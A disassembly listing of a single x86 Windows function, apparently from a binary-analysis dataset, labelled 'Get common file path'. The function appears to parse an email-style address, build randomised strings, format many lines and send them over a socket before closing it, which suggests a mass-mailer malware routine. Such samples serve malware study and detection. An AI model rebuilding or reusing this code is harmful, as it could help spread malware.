Function at 0x4082ba
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x834
mov dword [esp + 4], 0x64
lea eax, [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call eax
sub esp, 8
mov eax, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call eax
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [esp], 0x4c
call fcn.0040b5b0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
cmp byte [eax], 0
je 0x408325
mov eax, dword [ebp - 0xdc]
cmp byte [eax], 0x40
jne 0x40831b
jmp 0x408325
lea eax, [ebp - 0xdc]
inc dword [eax]
jmp 0x408303
mov eax, dword [ebp - 0xdc]
mov edx, eax
lea eax, [ebp - 0xdc]
inc dword [eax]
cmp byte [edx], 0x40
je 0x408349
mov dword [ebp - 0x810], 0
jmp 0x408afb
mov dword [esp + 8], 0x4f
mov eax, dword [ebp - 0xdc]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpynA]
call eax
sub esp, 0xc
call sub.msvcrt.dll_rand
mov ebx, eax
mov eax, 0x24924925
mul ebx
mov ecx, ebx
sub ecx, edx
shr ecx, 1
lea eax, [edx + ecx]
shr eax, 2
mov dword [ebp - 0x1ec], eax
mov edx, dword [ebp - 0x1ec]
mov eax, edx
shl eax, 3
sub eax, edx
sub ebx, eax
mov eax, ebx
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1ec]
mov eax, dword [eax*4 + 0x43d5b0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1e8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
mov dword [esp + 4], 0x407fe5
lea eax, [ebp - 0x1e8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcatA]
call eax
sub esp, 8
lea eax, [ebp - 0xd8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1e8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcatA]
call eax
sub esp, 8
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0xcccccccd
mul ecx
mov eax, edx
shr eax, 2
mov dword [ebp - 0x2cc], eax
mov edx, dword [ebp - 0x2cc]
mov eax, edx
shl eax, 2
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x2cc]
mov eax, dword [eax*4 + 0x43d5cc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2c8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0xcccccccd
mul ecx
mov eax, edx
shr eax, 2
mov dword [ebp - 0x3ac], eax
mov edx, dword [ebp - 0x3ac]
mov eax, edx
shl eax, 2
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
mov eax, dword [eax*4 + 0x43d5e0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3a8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
call sub.msvcrt.dll_rand
and eax, 3
mov dword [ebp - 0x4ec], eax
mov eax, dword [ebp - 0x4ec]
mov eax, dword [eax*4 + 0x43d5f4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4e8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0xcccccccd
mul ecx
mov eax, edx
shr eax, 3
mov dword [ebp - 0x5cc], eax
mov edx, dword [ebp - 0x5cc]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x5cc], eax
mov eax, dword [ebp - 0x5cc]
mov eax, dword [eax*4 + 0x43d620]
mov dword [esp + 4], eax
lea eax, [ebp - 0x5c8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
lea eax, [ebp - 0x5c8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3a8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcatA]
call eax
sub esp, 8
lea eax, [ebp - 0x3a8]
mov dword [esp + 4], 0x407f9f
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x40857d
mov dword [esp + 4], 0x407fe7
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
jmp 0x408590
mov dword [esp + 4], 0x407ff2
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
cmp byte [0x43d540], 0
je 0x4085bf
mov dword [esp + 0xc], 0x407ffd
mov dword [esp + 8], 0x43d540
mov dword [esp + 4], 0x408000
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
jmp 0x4085e5
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0xd8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40800c
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
call fcn.00407a00
cmp byte [0x43d500], 0
je 0x40861e
mov dword [esp + 0xc], 0x407ffd
mov dword [esp + 8], 0x43d500
mov dword [esp + 4], 0x408016
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
jmp 0x408644
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x1e8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408016
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
call fcn.00407a00
mov dword [esp + 0xc], 0x407ffd
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408028
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
call fcn.00407a00
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x408038
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
call fcn.00407a00
lea eax, [ebp - 0x6e8]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00407b08
mov dword [esp + 0xc], 0x407ffd
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40803f
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x2c8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408048
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x6e8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408056
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x1e8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408061
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x40806c
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x408080
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x40809f
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4080bb
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4080cb
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0x10], 0x407ffd
mov dword [esp + 0xc], 0x407ffd
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x408100
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x40812f
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x408160
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4081a0
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4081d0
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x4e8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4081d3
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x40812f
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x3a8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4081e0
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x408220
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x3a8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408260
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4081d0
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp], 0x104
call fcn.0040b5b0
mov dword [ebp - 0x80c], eax
mov dword [esp + 4], 0x408291
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 0
jne 0x4089e9
mov dword [ebp - 0x810], 0
jmp 0x408afb
nop
mov eax, dword [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0043baf8
test eax, eax
je 0x4089fe
jmp 0x408a4b
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408294
mov eax, dword [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_fscanf
mov dword [esp + 0xc], 0x407ffd
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4081d3
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
jmp 0x4089ea
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4081d0
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x408298
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
mov dword [esp + 0xc], 0x407ffd
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4082ad
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
call fcn.00407a00
mov dword [esp + 8], 0x407ffd
mov dword [esp + 4], 0x4082b3
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_sprintf
call fcn.004079b2
call fcn.00407a00
mov eax, dword [0x440130]
mov dword [esp], eax
call sub.WS2_32.DLL_closesocket
sub esp, 4
mov dword [ebp - 0x810], 1
mov eax, dword [ebp - 0x810]
mov ebx, dword [ebp - 4]
leave
ret